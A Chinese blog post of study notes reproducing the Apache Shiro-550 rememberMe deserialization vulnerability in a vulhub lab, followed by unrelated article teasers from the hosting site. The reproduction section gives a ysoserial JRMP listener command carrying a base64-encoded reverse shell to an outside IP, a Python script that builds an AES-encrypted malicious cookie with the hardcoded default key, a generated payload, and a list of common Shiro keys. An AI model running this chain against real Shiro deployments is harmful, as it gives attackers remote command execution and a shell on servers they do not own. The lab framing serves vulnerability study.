【Web】vulhub Shiro-550反序列化漏洞复现学习笔记

目录

Shiro简介

复现流程

工具一把梭

半脚本半手动

原理分析

反序列化入口

常见的key

登录过程

验证过程

利用原理


Shiro简介

Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全功能。Shiro 的设计目标是简单直观,同时提供了全面的安全功能,能够帮助开发者轻松地添加安全性到他们的应用程序中。

主要特点包括:

  1. 认证(Authentication):Shiro 提供了灵活且易于使用的认证机制,支持多种认证方式,包括基于用户名密码的认证、LDAP 认证、OAuth 认证等。

  2. 授权(Authorization):Shiro 支持基于角色和权限的访问控制,可以定义细粒度的权限控制策略,保护应用程序中的资源。

  3. 会话管理(Session Management):Shiro 管理用户会话,支持本地会话存储、集群环境下的分布式会话管理,并提供了会话超时、定时清理等功能。

  4. 加密(Cryptography):Shiro 提供了常用的加密算法和工具类,用于处理密码加密、数据加密等安全需求。

  5. Web 支持:Shiro 提供了与 Web 框架集成的支持,可以很方便地在 Web 应用中使用 Shiro 进行安全控制。

复现流程

工具一把梭

启动vulhub靶场

先爆破密钥(shiro550的key是固定的硬编码)

再探测利用链

最后直接拿到shell命令执行

半脚本半手动

启动vulhub靶场

Runtime.exec Payload Generater | AresX's Blog

先用这个网站生成给ysoserial用的payload

 用ysoserial启动一个JRMP服务器

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}"

用这个脚本跑恶意cookie的payload(作用是连接到ysoserial启动的服务器)

#define PY_SSIZE_T_CLEAN
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):# 打开JRMP客户端,连接到特定端口popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)# 用获取到的key  AES加密BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")# 生成随机16位长度的IViv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())# base64编码base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print("rememberMe={0}".format(payload.decode()))
python shiro.py 124.222.136.33:8888

生成的payload:

rememberMe=+XdqwyPART24Wzqx6uxQb+ITZbqHNJDvYx8kyu7dAAlwMgUX5dqy3ajClFgQnOkw/vXv+9+Rohr1fGqnMp0032QNU9gIUPLr3tr+RQf0g1wq43QtV2tIlU8EHyjlEZmv1vXygubJJxaehwwKV9hNY4a/ILKzHTBN8elVvS3wnN58fKieJHGHItEZlfPqvXbvZYtr5mZvw5Bqg9yoGdy+l6i4XjtBZwqqGgJ2Ea3Dmsm1Iy63RUwOagGlK+BkE1kfufF3i+Jk/Xkz3nlTWfT5Pc0eRdjpudTQ2X+DCJhBuVnwXPYUVX6UmMmRIU+UBAHvZyFL/N8L1Ibrb5KfTybgwTtTbv3215WxvUroQmACFNJFC3aDR1ep4aPrZ0TA+9NvOCjV2dJ22Tcrdzo34Yv3Hg==

最后在靶机登录时勾选rememberme(不要求能登录成功,只要让cookie反序列化就行)

bp抓包改cookie

监听下1337端口,成功反弹shell

原理分析

反序列化入口

remember me
序列化 -> AES加密 -> Base64编码 -> 写入Cookie
身份认证:
Cookie值 ->Base64解码 -> AES解密 -> 反序列化

常见的key

kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

登录过程

验证过程

利用原理

1、先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
2、把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
3、漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器
4、JRMP服务器继续发送恶意payload1,利用CC等通用库的漏洞执行命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/676214.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Spring】springmvc如何处理接受http请求

目录 ​编辑 1. 背景 2. web项目和非web项目 3. 环境准备 4. 分析链路 5. 总结 1. 背景 今天开了一篇文章“SpringMVC是如何将不同的Request路由到不同Controller中的?”;看完之后突然想到,在请求走到mvc 之前服务是怎么知道有请求进来…

大模型是如何实现Function Call函数调用的?

▼最近直播超级多,预约保你有收获 近期直播:《Agent 企业级应用案例实战》 —1— 大模型如何实现函数调用? 大模型要实现精确的函数调用(Function Call)需要理解能力和逻辑能力,理解能力就是对用户的 Prom…

redhat grub.cfg配置文件丢失或报错解决

1.实验环境:把grub.cfg删除 [rootexample ~]# rm -rf /boot/grub2/grub.cfg 2.重启服务器 3,发现进入系统失败 输入以下命令 ls: 列出当前设备上的文件和目录。 grub> ls (hd0) (hd0,msdos3) (hd0,msd0s2) (hd0,msdos1) #一般第一个为/boot分区se…

技术精英求职必备:Java开发工程师简历制作全指南

投简历找工作嘛,这事儿其实就跟相亲差不多,得让对方一眼就看上你。 在这场职场的‘相亲’中,怎样才能让你的简历脱颖而出,成为HR眼中的理想‘对象’呢?来,我给你支几招,让你的简历更吸引人。 …

HiveSQL——用户中两人一定认识的组合数

注:参考文章: SQL之用户中两人一定认识的组合数--HQL面试题36【快手数仓面试题】_sql面试题-快手-CSDN博客文章浏览阅读1.2k次,点赞3次,收藏12次。目录0 需求分析1 数据准备2 数据分析3 小结0 需求分析设表名:table0现…

MPLS VPN功能组件(3)

私网标签分配 通过MPBGP为VPNv4路由分配内层标签 PE从CE接收到IPv4路由后,对该路由加上相应VRF的RD(RD手动配置),使其成为一条VPNV4路由,然后在路由通告中更改下一跳属性为自己,通常是自己的Loopback地址…

sql实现将某一列下移一行

问题 实现如下图所示的 max_salary 下移一行 方法:使用开窗函数 select max_salary, max(max_salary) over(order by max_salary asc rows between 1 PRECEDING and 1 PRECEDING) max_salary_plus from jobs

containerd中文翻译系列(二十一)用户命名空间

支持用户命名空间 Kubernetes 自 v1.25 起支持使用用户命名空间运行 pod。本文档解释了 containerd 对该功能的支持。 什么是用户命名空间? 用户命名空间将容器内运行的用户与主机内的用户隔离开来。 在容器中以 root 用户身份运行的进程可以在主机中以不同的&a…

推荐一个支持微信、支付宝支付的升级chatgpt4的虚拟信用卡渠道

最新的充值方法看这里。 通过虚拟卡 WildCard 的方式来升级 GPT 4.0 最快了,大概2分钟就可以升级完成, 而且升级 GPT 4.0 价钱也不贵,虚拟卡一年10美元,GPT4 每个月也才 20美元。如果你觉得 GPT 4.0 对你可能有帮助,那就赶快来升级…

【ArcGIS微课1000例】0102:面状要素空洞填充

文章目录 一、实验描述二、实验数据三、实验步骤1. 手动补全空洞2. 批量补全空洞四、注意事项一、实验描述 在对地理数据进行编辑时,时常会遇到面数据中存在个别或大量的空洞,考虑实际情况中空洞的数量多少、分布情况,填充空洞区域可以采用逐个填充的方式,也可以采用快速大…

Qlik Sense : Lookup函数

LookUp - 脚本函数 Lookup() 用于查找已经加载的表格,并返回与在字段 match_field_name 中第一次出现的值 match_field_value 对应的 field_name 值。表格可以是当前表格或之前加载的其他表格。 语法: lookup(field_name, match_field_name, match_…

【工具】Android|Android Studio 长颈鹿版本安装下载使用详解

版本:2022.3.1.22, https://redirector.gvt1.com/edgedl/android/studio/install/2022.3.1.22/android-studio-2022.3.1.22-windows.exe 前言 笔者曾多次安装并卸载Android Studio,反复被安卓模拟器劝退。现在差不多是第三次安装&#xff0c…

Linux操作系统基础(五):Linux的目录结构

文章目录 Linux的目录结构 一、Linux目录与Windows目录区别 二、常见目录介绍(记住重点) Linux的目录结构 一、Linux目录与Windows目录区别 Linux的目录结构是一个树型结构 Windows 系统 可以拥有多个盘符, 如 C盘、D盘、E盘 Linux 没有盘符 这个概…

EasyRecovery免费版2024电脑数据恢复利器

在数字化时代,我们的生活和工作都离不开电脑,电脑硬盘中的数据却时常面临丢失的风险,无论是因为误删除、格式化、病毒感染还是硬件故障,都可能让我们付出沉重的代价,在这种情况下,一款强大的数据恢复软件就…

【力扣】复写零,栈 + 双指针法

复写零原题地址 方法一:双指针法 从前向后复写,会造成覆盖。所以,应该从后向前复写,这样我们可以考虑维护一个栈。遍历数组,如果遇到非零元素,就入栈一次;如果遇到零,就入栈两次。…

玉米基因miRNA结合位点预测工具

前记 目前,已经有很多种玉米miRNA结合位点预测工具可供选择,以下几种比较常用: 1、psRNATarget:该工具是由华盛顿州立大学开发的,可以用来预测植物miRNA和靶基因之间的相互作用。用户可以使用该工具来预测玉米miRNA和结…

Linux cp命令文档(cp指令)(cp --help)(各选项参数用法解释)

文章目录 cp命令文档英文中文 关键点示例-x, --one-file-system(保持在此文件系统上,不做跨域文件系统拷贝)含义示例 疑问什么是“长选项的强制参数对短选项也是强制的”?什么是“稀疏文件”? cp命令文档 英文 rootu…

【5G NR】移动通讯中使用的信道编解码技术

目录 一、引言 二、信道编解码技术概述 三、移动通讯中常用的信道编解码技术 四、优缺点分析与比较 五、未来发展趋势 六、结论 本文主要介绍了移动通讯中采用的信道编解码技术,由于在5G NR终端中,通常要兼容4G LTE通讯技术,所以4G LTE…

论文摘要和总结在某种程度上有相似之处,但它们在内容和目的上有所不同

论文摘要和总结在某种程度上有相似之处,但它们在内容和目的上有所不同。 1. **摘要 (Abstract)**: - 摘要通常位于论文开头,是对整篇论文的简要概述,其主要目的是向读者提供论文的核心内容、研究方法、主要结果和结论,以及研究…

【GAMES101】Lecture 19 相机

目录 相机 视场 Field of View (FOV) 曝光(Exposure) 感光度(ISO) 光圈 快门 相机 成像可以通过我们之前学过的光栅化成像和光线追踪成像来渲染合成,也可以用相机拍摄成像 今天就来学习一下相机是如何成像的…